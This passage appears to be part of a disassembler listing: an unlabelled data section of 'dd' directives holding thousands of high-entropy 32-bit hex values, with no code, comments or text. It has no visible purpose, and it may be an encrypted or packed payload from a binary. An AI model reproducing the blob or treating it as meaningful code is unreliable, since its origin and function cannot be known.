92F4E9B1h, 51D75925h dd 524EE9E0h, 0C2302341h, 0B22F1320h, 271B1535h, 190FBB02h dd 99D068C3h, 0F54C342Eh, 7731BA07h, 8D9FC09Bh, 8260827Eh dd 63005995h, 76D90D18h, 5BD1198Ah, 1F324E8h, 0E736C4E4h dd 436EEC32h, 8E313AC9h, 6C0172AEh, 215AD189h, 0C46E8E21h dd 3864FE58h, 199AFC2h, 0CC52CA80h, 285AB1F2h, 1B7A4ECh dd 2AE5E9F0h, 0C5484F0Eh, 47BB6C5Bh, 34ECDD4h, 0E5B0400Dh dd 92A5198h, 0D9F59D69h, 0F2B84041h, 6F095736h, 0C6C207E9h dd 2FFE20BFh, 8AB76FFFh, 19A14Fh, 4DF1DFD1h, 4DCE469h dd 0A0169D6Ch, 0BD4F0251h, 1DC14ABCh, 3B725633h, 0C04F86F9h dd 0A965A88Bh, 0C5FC085Bh, 6498B354h, 80D33DB0h, 255BD896h dd 0C93C0F01h, 4E8C14Eh, 243606B7h, 5428E3DEh, 0EC921D62h dd 7A09BA70h, 86535DC6h, 4A2CD5F1h, 4FC4ADBDh, 0D55830B8h dd 0C77CF02Fh, 0CB810B69h, 3E166BDCh, 686FC05Fh, 8C6F4B8Fh dd 4E4B64DDh, 7CC946E8h, 28EC082Dh, 7D1AC121h, 212A6FD0h dd 113521B0h, 0CF4003E5h, 58F5E1ACh, 192D7D0Fh, 7BE39C27h dd 0BAFA4E33h, 6D15B800h, 0B9212857h, 0C1310305h, 33D90158h dd 2E5B5999h, 1393FDBCh, 7F5AADA4h, 0D899DCA0h, 257D4E95h dd 18773668h, 24747CC8h, 7262C0h, 6B204190h, 58BEE921h dd 739CAC2h, 0C9281BBh, 0DC0B3B6Fh, 84548556h, 0DFC070F8h dd 815AED10h, 7BA2F200h, 0D1316DDDh, 977A5DE9h, 6E996D5Eh dd 3B587B19h, 682C002Ah, 3238420Dh, 340F5875h, 65011C3Fh dd 3C5E66E6h, 6657A209h, 0A0D0F33Fh, 0BCE9310Eh, 7A5A5EF5h dd 23FEE98h, 812FBF48h, 717401C5h, 0D001A04Ah, 0C755E973h dd 0E2FF5C02h, 1E66FD74h, 2D092F90h, 0CC3E9773h, 21441381h dd 85F80564h, 5D3A968h, 26A37C41h, 0B0C2B1C4h, 2597D62Bh dd 0F95BFCD4h, 8051FE23h, 0A1244F5Ah, 0A3C6556h, 47FE0143h dd 7EC0F3FEh, 0BF794AA0h, 0BEE3C89h, 3D8A681Ch, 51595C2Fh dd 708D7F29h, 3F38A52Ah, 0FAF559F9h, 0A141818Dh, 272B9A4Bh dd 0A0E6852Ch, 6C1CB96Eh, 81DE3642h, 0DD4440C2h, 79017F27h dd 0CEAC093Eh, 0DC4BD80h, 515C0ADBh, 4BE83987h, 61461AAh dd 0CCB33AD1h, 0C875899Fh, 0C7809D5Ch, 78FCC357h, 0C4FE4831h dd 55107F27h, 70822A3Eh, 0D6AB2F34h, 64B70ECEh, 6F5A5C52h dd 708001D6h, 3D450825h, 4A9F0127h, 4C2973E9h, 0FDDF6507h dd 0CBE6584Fh, 6F895F5Bh, 0DF113277h, 4CC10B1Ah, 9AB76FC9h dd 0FB00BB20h, 0C2E38144h, 0B7620615h, 52516403h, 2A0EC3F9h dd 8EDC788h, 36F46AB3h, 0DF011704h, 41EB13C5h, 0E1093D4Ch dd 29EC436Bh, 750591A9h, 6EE33F59h, 0A66DE90Bh, 38687BFAh dd 9827DDB7h, 0F268581Fh, 56E3C478h, 8480EDBDh, 0B0B8620Fh dd 0B3754FC4h, 6AB05115h, 0E70B97A7h, 0CC02D757h, 3A52C7B7h dd 0A254A7Fh, 808BFA0Ch, 60A26E8Ah, 4CC60C5Eh, 1EC363A4h dd 97555704h, 6CC0F6BEh, 1288EC80h, 0EFE3285Bh, 2568618Ch dd 5E1870D2h, 0C5BDA1F1h, 5C98BEC3h, 0BDF64FCAh, 9D2DEEE6h dd 58C2DE20h, 100CB151h, 6CBE980h, 5CE1EC98h, 0B620F97Bh dd 16FC5B4Ah, 222CAB5Ah, 0D2182DE9h, 0A2FAC616h, 2D985592h dd 82BF2620h, 2AB5DFAh, 7DCB0B7Eh, 0E89FC21Eh, 100FDBC2h dd 9ECB785h, 0B0016F68h, 9C1793A4h, 297F69F3h, 9E25D05h dd 478F66B8h, 6850201Ch, 11C310E7h, 1F4D2CAh, 0EC2DDE53h dd 6AE7ED41h, 0B9F1D093h, 202EC40Dh, 51FB68AAh, 4864D19Fh dd 0D96E6290h, 2ED6E6FFh, 629818D4h, 0BA059541h, 0B6C80FFh dd 4E0BCA81h, 0F76A965Ch, 4F82E948h, 8B3F5024h, 7B6C6602h dd 3ACAF691h, 0F7906169h, 61D4CF56h, 0F6580221h, 62F380DBh dd 807E63DAh, 54C5E9F8h, 9E6C852h, 53851879h, 0F6826057h dd 280E0BA8h, 0DDF00147h, 0E6207A25h, 54C25F7Ah, 0D650965Ch dd 0A9520BF5h, 4057F39Ah, 0A99601CBh, 7838F1D5h, 2325AED7h dd 0AB016D85h, 4F6156F0h, 0B1A07530h, 76620066h, 0D4B92C92h dd 75156512h, 0DF41994Bh, 0F4F12891h, 4BB7FBF8h, 51E1E143h dd 0CACF5435h, 6231C0F7h, 708482ADh, 0F50BFAFFh, 2CD4A776h dd 0E9ED0483h, 26809709h, 67B1D4B6h, 5A02F130h, 0BC68D9F6h dd 0AD80B04Dh, 0F500823Ch, 0F9F3228h, 2CFAF5FCh, 6E981B9Ah dd 2AF539Dh, 7E6B2711h, 343E52E1h, 0B1B7582Dh, 5021F843h dd 593036ACh, 88053CC8h, 0C7090916h, 3D8B655Dh, 31444E83h dd 0B7AAE90Ah, 0E0EFD2FDh, 7A6C2505h, 849087Dh, 91655B16h dd 6854C0EBh, 7BAA7031h, 7BF7A346h, 0A65A5CB3h, 0E3D06082h dd 2D442337h, 39F827E9h, 2ED4E69Fh, 8910AEFFh, 0C196045h dd 68B73B55h, 6FA6E982h, 5FC0255Fh, 544CFBB8h, 95D036Bh dd 0C0C87E68h, 58523B94h, 9D92482Ch, 0E448B310h, 0C57D89CBh dd 4CE98979h, 1A7BFA2Bh, 5632E942h, 478E25E3h, 9740E53h dd 0BD4E38DCh, 536298B2h, 4C549F5Eh, 8277815Ah, 0E1D6B847h dd 0D808632h, 2D5DEB31h, 180B26E5h, 8D80154h, 0FD250830h dd 431F84AEh, 2892B353h, 0BE64C3ACh, 0C1AC165Fh, 0C2955037h dd 0AE50AA33h, 49BF605h, 0B9F6CA76h, 9B22C10h, 317A9568h dd 1E4015DBh, 0E0774FC3h, 0FB292D4Eh, 5513CE59h, 69DA7F2Dh dd 0C33529CBh, 30B9A02Bh, 62876082h, 0AA842FE2h, 824C408Ah dd 0FE49CEC2h, 0D5522360h, 0E9E1D195h, 0A78665F7h, 0AA484851h dd 0BE59E400h, 4EDBE95Ch, 557A9C66h, 0F14F6842h, 20E82B91h dd 9DFF084h, 0E06DF66h, 544F2BB4h, 1C831C0h, 6E50589Eh dd 450DC436h, 85F762B5h, 8EAE6684h, 5468022Dh, 4A65D8A2h dd 63C5D544h, 36AE6805h, 0AD091952h, 0EA6C75D9h, 442083B0h dd 8709452h, 10C6109h, 92582BC2h, 5EC280B1h, 0BA42D6ABh dd 22E63A2Dh, 60AA91Ch, 0FD277F1Ch, 0A7C7BE16h, 2F4CF4E9h dd 0EA601E34h, 173A890Eh, 6F098718h, 7CEB1C7Bh, 30590904h dd 369055FAh, 74A44753h, 3F069731h, 49E002ECh, 0C338D4BBh dd 63900122h, 0DD7F3A7Fh, 2066A95h, 750EE908h, 79FDBD62h dd 0F9E26971h, 15AD5286h, 6A70419Dh, 419E17Eh, 8FADF99Bh dd 52B30DE9h, 1017C440h, 971248Ch, 0E42009B3h, 2727B4D5h dd 89C57E3Bh, 4EA86B0Ch, 0F65B045Ah, 0F8E188D4h, 89998564h dd 0AB5BCDF2h, 5A683420h, 0FF9A9F73h, 5F07CCC5h, 0C524E831h dd 95A9CC2h, 0C60194DCh, 48E66ED6h, 0EEA32C3Fh, 773F570Dh dd 453A2A37h, 0EFAFE944h, 17EBC8Ah, 1B23226Ch, 3D8A59E9h dd 68870409h, 30EA6175h, 5A292B47h, 52BF515Fh, 0E8DBBBEEh dd 5614E917h, 0C672BF1Bh, 9442D5D1h, 786AD1D6h, 18CCDD0Ch dd 188BCD1h, 700720B2h, 570E8049h, 0E976AC60h, 0A46C5B16h dd 6CFD900h, 620F69FAh, 175FD683h, 0B503A853h, 681621FEh dd 9354412Eh, 0C4863C9Ah dd 58051016h, 24A71C80h, 0B703080Fh, 0C6215B05h, 2F318DEBh dd 0FC8586C2h, 6BF6C051h, 0C7B06A65h, 73CBEE5Ch, 0B1B98214h dd 401139C7h, 66B42468h, 915667CDh, 0F66B5097h, 0B58A93C0h dd 0F6665280h, 888E1DB0h, 0B15889C2h, 7D08C503h, 0D85AAD27h dd 4BEF1E8h, 0FD4A5198h, 47266859h, 0C5C25A3Bh, 5B88EC56h dd 0E7A612AFh, 2CE59178h, 0D2085121h, 0A2680431h, 3E158D0Ah dd 3B14FE80h, 0F6B80027h, 51CE357h, 0C62F2CC9h, 80B8D06Dh dd 9A1BE907h, 0B7F8E04Dh, 487AB7FEh, 95ED3828h, 47E3057Ch dd 698B070Bh, 0A31580BCh, 2A09DC1Fh, 0A7DE295Fh, 251345F3h dd 7888FA2Fh, 0B554F64Ch, 275406F6h, 0D879AECDh, 0E38156C5h dd 29022555h, 1E6F7055h, 35780347h, 865C8312h, 0F3C7214Fh dd 5738A0A0h, 4E06B0FEh, 0E0AEC953h, 569FDC22h, 665F561Dh dd 7AE0085h, 8710BA55h, 0EFB9C228h, 5861F9F5h, 649FC9E9h dd 2F0AB108h, 29629B79h, 219960C3h, 9F6AE078h, 77711570h dd 0E3C0424Eh, 166F1047h, 0CDEFC8E9h, 0BF6881A0h, 431C3D9Ch dd 40B137Fh, 9319DAB4h, 24A3C5D4h, 0DD291BC0h, 4D4866C1h dd 42F11BEh, 4941D5A8h, 3E164BC7h, 309709CCh, 0F202BE39h dd 6A8CE959h, 136E755Ah, 0A047DF27h, 34AF6D5h, 0C82FF3Ah dd 58861222h, 0E947825Fh, 9FCD502Eh, 0F00CD8CDh, 6B0182E3h dd 3A761AFBh, 0F30FA1A0h, 0CB744923h, 886D5F13h, 0DD5A1FB2h dd 0A372C826h, 0EC805C02h, 5CE108DEh, 21105225h, 1D483D68h dd 0F7B7C4E2h, 62D09184h, 2C7B78BEh, 31A2Fh, 0B8A026Dh dd 115C0AE9h, 0C529A0BDh, 4A557F58h, 0EBC7121Ah, 0D16761Eh dd 3AA9AC57h, 0EC421188h, 4C86A4A4h, 2F45CDBAh, 52CED6C8h dd 4B02DE36h, 89B0F7B3h, 0F36E6177h, 2824E96Bh, 7CBDF21Dh dd 8204C9A5h, 9E01D843h, 0C8112165h, 0BFAA65EFh, 49B041F4h dd 0F83B80E7h, 2D679690h, 3C9C5D54h, 0B8685103h, 1638BB2Dh dd 0E34DE2F6h, 0FD2B26E8h, 74296884h, 4C0C9BD8h, 7D2DED8h dd 0C509AA7Dh, 413EFC75h, 8C6CBA4h, 685566A0h, 0D0F3605Eh dd 82B6FC4Ch, 0B047F520h, 28B1883Bh, 0B25219D7h, 0C65A0AE7h dd 805BBDE0h, 412EA03h, 81CF2CD4h, 6AF1E9D0h, 102FF3A4h dd 2BBD029Eh, 4060F971h, 2E14ABB8h, 2315C21h, 3042295Dh dd 2D1344D7h, 83A6F03h, 5C90D9C3h, 0BD042A8Ch, 3BAAC7A4h dd 0ED80D0EFh, 1E256B49h, 257FDE11h, 9A78B4DFh, 0CABE0373h dd 46194454h, 291808Dh, 429580E9h, 5BDCCC7Ch, 58992251h dd 0C3312783h, 0C8F7D9E2h, 1315BB59h, 0C440EE04h, 1E238024h dd 6309E730h, 205909E9h, 543EE343h, 4304381Ah, 0BE0ED5CCh dd 8C54A244h, 4F72F904h, 117AB809h, 0F34B5E39h, 0CAEF2802h dd 3CC0D726h, 0BCF3E905h, 0E9F98AEh, 79933918h, 791B26E6h dd 5E54C0D0h, 6B12BA52h, 0E9130307h, 750BDB04h, 682F6EECh dd 7ECF0BA9h, 1FF05A83h, 8C609B00h, 0E76E6871h, 86934926h dd 752F3DDFh, 7EFB8E98h, 0C81AD825h, 7270F226h, 0FE6F5FD5h dd 0BD484204h, 0B8BF30ABh, 0B22E68ADh, 0DB022C35h, 0C014C36Eh dd 2F094A35h, 1C740A6Fh, 1CD008A0h, 34A94814h, 231D1EF1h dd 0AF50D349h, 94AAB5CFh, 28E220D9h, 749B515Dh, 66610372h dd 26AACB9h, 4152EAFCh, 15FE1CBBh, 0F7879A5Dh, 0E724E3D6h dd 43B11D5Ah, 2871E16Fh, 0CC9510F9h, 82686604h, 5247A40Dh dd 802EB605h, 0C3BEA6E6h, 0C09DFEA0h, 5366EDFCh, 5846B738h dd 0AD3F10D4h, 7206BB00h, 0C2811CAEh, 3014E009h, 9735F02Ch dd 595B395Ah, 30C263F7h, 0F1F55AF0h, 0C04792C0h, 449E6826h dd 16C215C4h, 5548A2A2h, 12DD772Dh, 92317F7Ch, 63B92A44h dd 0C2BCE393h, 75F5F8E9h, 1097B2Ah, 3242E2E5h, 8EC9DB1Fh dd 0E98AE8EEh, 20CD672Dh, 297B0BE9h, 0DB2D0E32h, 0CA3D3828h dd 250705D8h, 1EE804A2h, 49E38000h, 0A03FE7C0h, 3C4BD692h dd 26512888h, 80203F58h, 6A253AAFh, 0DC4E33E9h, 775B8E22h dd 7B2D4FEFh, 33110A4Dh, 8B2BCF85h, 0E55FBDE2h, 0A7B1887Dh dd 0C5847E27h, 5F11AD08h, 496F7F92h, 6F3D5F1Eh, 9D59B706h dd 89050C2Ch, 881AA45Bh, 0E90E04ABh, 0EEBAD574h, 0CF09AB1Eh dd 9378D951h, 4ABEB896h, 99331ADh, 225657DFh, 26F05651h dd 62F19578h, 8A659243h, 45D5C10h, 0FC0FD668h, 3898C429h dd 58DC01B5h, 0C22837Dh, 6AB29707h, 3FE822DFh, 9573CC7Bh dd 815C7349h, 236DBF5Bh, 0D0F91741h, 533B7C2Ch, 0D0D3AE16h dd 5A73FDAAh, 0D9462225h, 0D6F6093Bh, 0D0819155h, 808243C2h dd 0B5102CD8h, 548B23B3h, 0E05766B2h, 4A882730h, 0B653ABDDh dd 0C1075E6h, 0B55101ABh, 6EDC0DEh, 9502E5CCh, 0AA19317Eh dd 0F5D80810h, 0C5B21276h, 1230E866h, 31A3C8D6h, 0ED267A58h dd 49B2609Dh, 3DE46C04h, 2C74AFB0h, 0C4F9E2E5h, 0C9985449h dd 0B78A5A85h, 993A169Dh, 73B13E4h, 5A17F17Fh, 2CC97342h dd 0EFEC2513h, 204750D0h, 0B84B02C4h, 0F546499Fh, 0F530EA7Fh dd 0E9703051h, 1E0B9F38h, 7ED28AD4h, 2860EDFBh, 0DDFBE5C3h dd 0A2C26F40h, 0C03F254h, 34B068E7h, 0D14DB1CBh, 13FA2CF8h dd 0FD658925h, 0A725080h, 0BD1ABC05h, 0D59C47AAh, 0CCE91BA2h dd 0FFB04A58h, 10465912h, 0F59760BEh, 0F12C1FB3h, 85274C0Dh dd 55285F29h, 0D9510437h, 0EC60E903h, 76B30B6Bh, 903DD8C0h dd 88ABC65Bh, 81021E9Fh, 0EAF5A7F1h, 9627DE4h, 0BA4B105Fh dd 3418184Ah, 2387AE0Fh, 0F70A820Ch, 9D610D2h, 8919B63Bh dd 0EA09B550h, 0EEAE18E9h, 4B6812B9h, 3C17F319h, 16E61A70h dd 5994AB30h, 67BDE090h, 9D0C141Fh, 97DB30E9h, 0B46E0055h dd 7068537Dh, 31007F5Eh, 0C1D3F75Bh, 4AE905E3h, 5A8804EDh dd 0FCB68328h, 92244025h, 0F3E45704h, 2A6C8F09h, 3A03743Eh dd 812E1D80h, 1B6DF3C9h, 1FF27F58h, 0BF8AFC90h, 782D9129h dd 0BE0220B3h, 272C40E6h, 0F6132394h, 43671703h, 250E044Eh dd 0A048643Bh, 9E49E9FDh, 0D78927BEh, 470B2B94h, 90ABA0E9h dd 0B8233BF0h, 4B68F6CAh, 0FE6274F1h, 5E6EA02Ch, 8377AFBAh dd 0C390E1C4h, 93055368h, 88200AF6h, 0FE510BE0h, 59012103h dd 0E586C5A8h, 8CFC4F2h, 0D66D0980h, 6D523591h, 13A93E97h dd 0F6033D2Dh, 0C693F031h, 3727087Bh, 0BEFD9820h, 0D42A00C9h dd 0ED73BD01h, 3112DE23h, 4EFE5EF5h, 9F87CEA1h, 880E080Dh dd 0F7FA49CFh, 4A22E4C5h, 4D52D2D2h, 0DB1091BDh, 0C32813A2h dd 0B205B3CAh, 0E10668AAh, 0A34A30F1h, 0DC56E99Fh, 0AF95D1F6h dd 40DF684Ah, 5B747391h, 9C10EF30h, 0C5386208h, 1EA97BA7h dd 225C6547h, 38EB663h, 725FEB4Bh, 39DF64CFh, 5000F250h dd 0BF6A0A68h, 5525817h, 137DDDBAh, 27C0FE64h, 0EC156229h dd 540604EAh, 0BC214391h, 0DBD10032h, 0C389CB10h, 0BF69B758h dd 0BFC16441h, 0FB7E42E1h, 2FC3F0C1h, 52A607CDh, 0BF5740F0h dd 0B5272EC6h, 0F70F5831h, 3082D32Eh, 829D66B9h, 58F5050Ch dd 40F5C12Ch, 0DFB44C2Ah, 0C3E9C278h, 0A148BC84h, 346B5C01h dd 0E8CB1763h, 649F117h, 69772D02h, 0B53B058Eh, 32929799h dd 0DBC90AB5h, 0C0507260h, 0DEC9EFCFh, 963D246h, 0A18743F0h dd 113491E9h, 2283AA31h, 77B43293h, 0B096671h, 89F75151h dd 0CC5412E9h, 0EB9CDF2Dh, 139351B7h, 0D11BA48Fh, 0BA623A91h dd 0A6F8201h, 4590799h, 123AE8F8h, 9CF3D5DBh, 4CC88E11h dd 2DA713B5h, 307905A3h dd 0C799A394h, 25301377h, 6444FE47h, 18726028h, 32380E04h dd 3115F2A0h, 40BE5DFAh, 6C9008A0h, 34FBFB4Ah, 0D25C82E9h dd 0F845A05h, 0E6BAF290h, 4979484Eh, 5260E205h, 0D101BB9Ch dd 2CA01461h, 3F87B343h, 57E25043h, 0B6EC0128h, 9041F420h dd 3F980998h, 676A01E5h, 0C45DCE12h, 0AFBA076Ah, 0A40F6C2Bh dd 0C127D499h, 0ADFFEB85h, 0C0475803h, 562E3518h, 48BF7D4Ch dd 0D2CBC57Eh, 0FC568524h, 922A48Fh, 83570529h, 7D023E1Dh dd 6CA86402h, 559A6109h, 0F190D17Ah, 0D8379DD3h, 1C8FB0CEh dd 0B0FC5814h, 2D801EB6h, 0BDEEEC6h, 0DF6DE60Bh, 0E9BE8721h dd 86754Bh, 0F7BBD1A4h, 0B6FD6E4Eh, 1F18EB05h, 628A141Ah dd 0C9901C12h, 8AC2F95h, 0C87E9B2Fh, 0D3C50569h, 110FADA9h dd 0F765F835h, 6145ABD5h, 68BC8296h, 0BD8680C5h, 74051D46h dd 0FFEBF8CBh, 3C596809h, 0D67DE2C2h, 9D246FE9h, 2AA9AAC9h dd 0BFBE7878h, 4FDE5B6Ah, 2C5DA0B9h, 175D3DB0h, 0E3A927CBh dd 0F61DA87h, 18A86876h, 1DC0073Ch, 2D74F05Fh, 0CF5C5B01h dd 5E80134h, 81E90740h, 0EDC5B766h, 35476805h, 19644BDh dd 0D2400F23h, 20810476h, 0CD2BE0A7h, 25E37ED3h, 189AEB10h dd 6C9C5450h, 14848257h, 0EFD5E4ACh, 0E52D6214h, 0B00B2687h dd 0ED805A82h, 50A8C03Ch, 4E99B830h, 0C36A9061h, 0F42F2192h dd 2535FE31h, 0B75E04E0h, 60D13A95h, 0A657A90Eh, 17B0F089h dd 0E8451F1Bh, 0E4540148h, 0C581BAE0h, 642BE56Ah, 0A04DC85Bh dd 1CBC4FE0h, 2F28332Fh, 1C3C0791h, 237EAB7Fh, 590B0720h dd 0DBCDC4E9h, 47FCB284h, 0BF62DBD4h, 0DB7809EFh, 0BAB8595Eh dd 9BBCC35h, 512C453Bh, 567F5C10h, 0E36C7830h, 1D7CF6C5h dd 0BC293FCAh, 9F08ED28h, 0B0BE5130h, 67EF8080h, 76106B7h dd 51C787E7h, 244E60E9h, 0F83C01C0h, 62A1AD53h, 0C1F9F5A5h dd 0E9C8BFC0h, 0DCBE4844h, 0AE09CFB7h, 0C349B372h, 55B3406Ah dd 3B019FFAh, 3D51E381h, 0F3D83388h, 0BC261808h, 3E5D0C41h dd 0C0344Ch, 2359DBEEh, 0B0DE012Dh, 0D60888BAh, 616AB95Ah dd 85B8DEE9h, 0CDC380B6h, 0EB16C3BEh, 554194AEh, 4013E07Eh dd 390CA6B8h, 6C688538h, 551F165Fh, 86A40160h, 8218D377h dd 6B7CD50Ch, 5EC8E1EEh, 3220C2CDh, 202D813Dh, 0E001D36h dd 4DBB5F05h, 98C601BEh, 370B2723h, 89ED64A5h, 0DD76825Eh dd 0E142E82Eh, 0DC065369h, 0B1623409h, 39176940h, 6111A7h dd 2B28658Fh, 0BAD2D8F6h, 934EB4CAh, 0F1B25731h, 0BD3C31C0h dd 1C09ABBBh, 55CF2999h, 0DEA131BEh, 8DD6CE19h, 0CC163860h dd 0D9F72D6Fh, 49A99177h, 0ECE9C0C7h, 3EC4586Ch, 0AFBB5B17h dd 568AB930h, 2C1C4BD8h, 7005BBCAh, 0C3E9496Fh, 1C64B2ABh dd 77E5478Fh, 3A6069BAh, 2AE1A603h, 0E9F0F3ACh, 0DBA88DD0h dd 8B3D63A7h, 0A2F6135Eh, 0DD704127h, 75BE7607h, 0C56E752Dh dd 51CD2E82h, 594CAF79h, 907FF025h, 30C00155h, 0DE0C05EDh dd 765F7FE9h, 60AF5665h, 369FE923h, 1CAD7BD5h, 0E897C531h dd 1A3BC60Bh, 0D7C78230h, 0F43FAD3h, 4DD4575Ah, 0AE255965h dd 4190C54h, 7F1A7490h, 0BF0787BEh, 8E22FE36h, 77465FCFh dd 8D6F1BDh, 0B809981Dh, 3D860664h, 4C1B174Ah, 914BCC1h dd 0F65B8BE9h, 54E6507Fh, 0CEEAD073h, 0FBE9A217h, 1B7E2954h dd 0D027C606h, 0E516615h, 0C9FED988h, 0E13CB8Fh, 31F0B290h dd 0BC58E25Bh, 0F4D2FF28h, 2060B007h, 212FF57Dh, 0C6809552h dd 0D05080EFh, 68EE2925h, 0B401888Bh, 0F83040A2h, 50195B66h dd 0AC8A22B0h, 5216D76Ah, 89ACFFE9h, 213B34Eh, 0E8A1E5A9h dd 68EBC16Bh, 0A0842E16h, 0E93528ABh, 0A100F34Ah, 365C4005h dd 0F8DCBF25h, 0E595ED0Fh, 0F0EE0DF4h, 9BBC4722h, 16B41E2Dh dd 67555468h, 9A7A244Eh, 165D25C3h, 2708FF8Eh, 6F413B41h dd 0AC233CFCh, 1F3F3348h, 0FE667992h, 0AA680F02h, 0CE3D9049h dd 51D70B36h, 31E27CE9h, 605BD9C9h, 535006B2h, 1F08308h dd 596FC9Bh, 0F17827B1h, 7ABBE2A7h, 0B2A730E5h, 27CEFFE9h dd 9F0E92Dh, 406BFD7Ah, 7EC04DD1h, 272CDFE3h, 59B98137h dd 614CC54Ah, 6157F025h, 5249B62Dh, 0F380BDCh, 0A0FFACEFh dd 0C52DF899h, 10025C07h, 0F5A22827h, 0CCA9BB20h, 0AB127E8Eh dd 0E909E2B7h, 53DAE50Dh, 0AA379B04h, 0A8844F39h, 4E3088FCh dd 327CB9FEh, 0FB865Ah, 2E6CEBFEh, 8CB0437Bh, 889CAF1h dd 756F5960h, 856E223Eh, 0CD1CC6E2h, 13C24E80h, 40DD3E29h dd 0D6C7EA1Dh, 0AE1F0491h, 13B5E383h, 84B2BCD0h, 0E3C41065h dd 1109102Ah, 35824838h, 696B3445h, 55067B50h, 0F69CE952h dd 165C4B42h, 0D1E739D1h, 0CBA77B96h, 8F14E982h, 8E0CAE44h dd 2452A245h, 42AE2EEh, 5AE9744Dh, 81EA128Ch, 95D895h dd 142322BEh, 9B090863h, 58C93501h, 0AF21421Ch, 480DFAAh dd 7506BFF2h, 0DCE9470Bh, 6B65DFBAh, 75E26AADh, 3F01A049h dd 0B1255127h, 7F0CE220h, 5000BF29h, 7BD876C2h, 0E7F0D176h dd 576A100Bh, 0D0CC8F6Dh, 8065B40Eh, 0A1FE0FE7h, 8B07E4C0h dd 2F6904Eh, 0D52D8CD7h, 7C904C1Ch, 2B5AC40h, 80E5D062h dd 2F61F8CDh, 0C0B13C70h, 0F6C2FE96h, 0B7531DD2h, 0BCCFD61Fh dd 272C4866h, 2EBAC38Ah, 1EE4081Ch, 75DFCB3Ch, 0E1F843E9h dd 84823ACAh, 0C21DDE59h, 947FCB0Ah, 49EB4C88h, 2F67DCDEh dd 0CAEB66D1h, 0DE8CD706h, 14BE980h, 79317688h, 0A58E67EBh dd 0A42FF350h, 0B7CF1B3Fh, 61B208F9h, 62C5759Fh, 47D29025h dd 0BC6DB9CCh, 96CD9B24h, 0B2A1EACh, 9F6EB010h, 613C4295h dd 177B912Ah, 0F7B0FDFEh, 913964F9h, 2D8E390Eh, 6A2B7DB9h dd 0E984A6C7h, 0FF05B58Dh, 45C00577h, 8638E954h, 202D3B51h dd 0F5A3559Ch, 9D00A2BBh, 0B67DBCB9h, 6BF1813Fh, 9D00DB8h dd 0C5DAE527h, 97130899h, 68665B01h, 0D52F427Ch, 404100D2h dd 0E976B652h, 5B67AB2Dh, 9DCCA5A5h, 8BAF07D3h, 61BE4B14h dd 5A6A986h, 57EF6901h, 0E820362Fh, 236C12CBh, 536C16F2h dd 970DEDC0h, 9A6A47CDh, 0AD225E2Ch, 7E05018h, 8E7C14Fh dd 0CA0039D1h, 0A317A1CDh, 0C0F8212Ch, 0F9D36B0Bh, 0E2710AFCh dd 0FFFB92DFh, 62A11BD0h, 7F6748BDh, 9807E928h, 428220EDh dd 934F5FF6h, 7910D9CAh, 271658B5h, 0F1B45D26h, 3466E913h dd 72C57EDh, 40382636h, 8F2026FCh, 82335EBFh, 2410685Fh dd 0D5C0857Ch, 0B56D540Ch, 0DE5D96F8h, 39B74AA4h, 1450CC4Fh dd 843EBC41h, 85F0A9E4h, 2FA58C3h, 1CB607B7h, 4FB4865Dh dd 1A57950Fh, 23C7F5FDh, 583FE904h, 611004ADh, 1FEB4B54h dd 81B5D3BCh, 20A0B962h, 89A07876h, 9E304BBBh, 267CD225h dd 1A035D5Eh, 7790E90Ch, 5A48D1F5h, 944F7AAFh, 2FF62C74h dd 1BFFE92Eh, 0BAFDE8D6h, 256A290h, 0F7480982h, 0C1044DD5h dd 93ADBCB8h, 69D43EACh, 10CF3460h, 3D5A3B62h, 843F502h dd 1087C8Bh, 1D489A2Dh, 0C9DAD660h, 2BC343FBh, 0C00905C4h dd 11F131C4h, 0B54E8C20h, 0E9129294h, 1945FA19h, 3FE842EEh dd 0AD69D12Ch, 3B3A1BF3h, 0D1DD24D3h, 7FDF991Ah, 44D3576Bh dd 0D7486177h, 1C6D047Ch, 0A785492Eh, 2A14CEBEh, 0C2B7A406h dd 2867FF51h, 7E90831h, 71059A24h, 0BDAB30FEh, 803E5962h dd 5AA86B5Eh, 5808A172h, 0C65AF93Bh, 0FCB2C6D3h, 3BD52968h dd 59548BE0h, 0BABF7552h, 5442FF98h, 4BB76C57h, 0AEE1849Bh dd 980220E1h, 58BAA2A7h dd 45CC7F09h, 5CF38102h, 0D767FA69h, 0E94B1785h, 56247679h dd 0E689C178h, 0A8590508h, 404D7CD8h, 0A5FC54BFh, 5913D2B6h dd 0EAD2E7E5h, 0CE59D77Ah, 0B638E9C1h, 5AD5CF89h, 0F46BFFF9h dd 0E35225E8h, 51197B25h, 43AB6F76h, 0F42FD2FCh, 0AC40525Fh dd 7302E1Fh, 7CA80C3Bh, 0B00D4E49h, 0C35826C8h, 16B2A794h dd 0E871F7F9h, 0E9295EA5h, 7710C7F0h, 3C1E1033h, 0C86A1630h dd 0E14ED141h, 526A20FEh, 5D0BA8BAh, 820944DEh, 0A98666h dd 9C19D605h, 8F29772Ch, 12900720h, 0D1398427h, 0AB5D42DDh dd 0E1CB71F7h, 6FCA4FE9h, 962C9828h, 0D7FC69B6h, 1217EE58h dd 0A01ED610h, 8A1C624h, 0A5823C5Dh, 0E80548A9h, 0EE3B46E9h dd 0B29F062h, 0A1081653h, 0CB591976h, 16E42B5Ch, 0D2E66E64h dd 0DD9081A6h, 67F1B804h, 0B2BC6CF7h, 0B452BF5Eh, 4019C301h dd 0A87F5F74h, 9ADA4A48h, 11BBC279h, 0E5412CA0h, 580742F6h dd 83B89B7Eh, 29559475h, 52107C74h, 5E270C44h, 0E9055753h dd 57BA0BBFh, 7F17FBACh, 556C8498h, 8622F0C6h, 0C89512Eh dd 28E2CEFBh, 66CF6097h, 0D4B23F5Ah, 0FEF6B307h, 8DB36C3h dd 212BD9FFh, 98056BA5h, 73C7E388h, 1462DA47h, 0DBD37787h dd 93075B94h, 76E3CBAFh, 8FC92D86h, 341F1F18h, 0AD0CD03Eh dd 0D5F94258h, 5AA6B945h, 59832h, 67912DADh, 683A0B05h dd 65A31E9Dh, 0F2189A00h, 0FE87E964h, 84E92B94h, 46A3D3E2h dd 1F0C4110h, 0D0D3575Ah, 90C77D92h, 8088DCADh, 0D1E8DBEh dd 0CD891185h, 0C567FEE2h, 0C712BC0Ch, 0FF0BB67Ch, 932C0B4Dh dd 0E462D309h, 98309AE7h, 81BB94DBh, 275EBECBh, 35EBD803h dd 0C191213h, 90FA6CC5h, 0E4C89D7h, 0ACD6BCDEh, 90B6E3FCh dd 0F31D582Fh, 0EE8F25FDh, 0F2D733A5h, 84BD4F62h, 4B51E9E0h dd 0F0DCE4B7h, 0D30AB7CBh, 0BD84EF07h, 